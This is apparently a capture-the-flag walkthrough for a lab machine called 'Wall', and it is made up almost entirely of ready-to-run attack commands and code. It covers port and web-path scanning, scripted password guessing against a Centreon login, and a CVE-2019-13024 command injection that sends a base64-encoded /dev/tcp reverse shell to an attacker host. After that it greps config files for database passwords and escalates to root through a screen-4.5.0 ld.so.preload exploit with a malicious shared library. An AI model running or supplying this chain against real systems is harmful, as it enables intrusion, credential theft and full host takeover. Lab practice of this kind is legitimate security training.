Wall

Full TCP sweep to identify all listening ports.

$ nmap -Pn -p- --min-rate 4000 -T4 --open $TARGET

Version-fingerprint the discovered services.

$ nmap -Pn -sV -p22,80 $TARGET

Brute-force web paths; key findings are /centreon and /phpmyadmin.

$ feroxbuster -u http://$TARGET -x php,html,txt -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -s 200,301,302,401,403 -d 2 -q -n

'$PASSWORD3' produces a 302 redirect to ./main.php; all other attempts redirect back to the login page.

$ python3 -c "
import requests, sys
base = 'http://$TARGET/centreon'
for pw in ['admin', 'centreon', 'password', '$PASSWORD3']:
    s = requests.Session()
    r = s.post(base + '/index.php',
               data={'useralias': 'admin', 'password': pw, 'submitLogin': 'Connect'},
               allow_redirects=False, timeout=8)
    print(pw, r.status_code, r.headers.get('Location',''))
"

Start the reverse-shell listener on my machine before firing the payload.

$ nc -lvnp 4444

Fetch the public Centreon 19.04 / CVE-2019-13024 PoC script for reference.

$ searchsploit -m 47069

Authenticate, grab the CSRF token, encode the reverse shell with ${IFS} space bypass. Replace $ATTACKER_IP with your VPN IP. Complete the exploit by POSTing the payload to the poller config via the UI or the script from ExploitDB 47069.

$ python3 - <<PY
import re, base64, requests
base = "http://$TARGET/centreon"
s = requests.Session()
r = s.get(base + '/index.php', timeout=8)
tok = re.search(r'name="centreon_token"[^>]*value="([^"]+)"', r.text).group(1)
s.post(base + '/index.php',
       data={'useralias': 'admin', 'password': "$PASSWORD3",
             'submitLogin': 'Connect', 'centreon_token': tok}, timeout=8)
rev = "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"
b64 = base64.b64encode(rev.encode()).decode()
payload = f'echo\${{IFS}}{b64}|base64\${{IFS}}-d|bash'
print('Payload:', payload)
# POST payload into poller command-line field, save poller, then trigger
# Configuration -> Pollers -> Generate configuration / Export
PY

Confirm in the received shell: uid=33(www-data) gid=33(www-data) groups=33(www-data),6000(centreon).

$ id; hostname; uname -a

Perl config; look for $mysql_passwd and $mysql_user.

$ cat /etc/centreon/conf.pm

PHP config alternative; look for $conf_centreon['password'].

$ cat /usr/share/centreon/config/centreon.conf.php

Enumerate all config files that reference credentials to ensure none are missed.

$ find /etc/centreon /usr/share/centreon -type f \( -name '*.conf*' -o -name '*.pm' -o -name '*.php' \) 2>/dev/null | xargs grep -l 'password\|passwd' 2>/dev/null

Authenticate with the plaintext password recovered from Centreon config files.

$ ssh shelby@$TARGET

Read the user flag: <user.txt>.

$ cat ~/user.txt

Enumerate all SUID binaries; look for /bin/screen-4.5.0 owned by root.

$ find / -perm -4000 -type f 2>/dev/null

Confirm: -rwsr-xr-x 1 root root.

$ ls -la /bin/screen-4.5.0

Compile the malicious shared library that will make /tmp/rootshell SUID root when loaded.

$ cat > /tmp/libhax.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void) {
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
}
EOF
gcc -fPIC -shared -ldl -nostartfiles -o /tmp/libhax.so /tmp/libhax.c

Compile the shell launcher that becomes SUID root once the library runs.

$ cat > /tmp/rootshell.c << 'EOF'
#include <stdio.h>
int main(void) { setuid(0); setgid(0); seteuid(0); setegid(0); system("/bin/sh"); }
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c

Abuse the -L flag to write the library path into /etc/ld.so.preload as root; -ls triggers the load.

$ cd /etc && /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" && /bin/screen-4.5.0 -ls

Execute the now-SUID-root launcher to drop into a root shell.

$ /tmp/rootshell

Read the root flag: <root.txt>.

$ cat /root/root.txt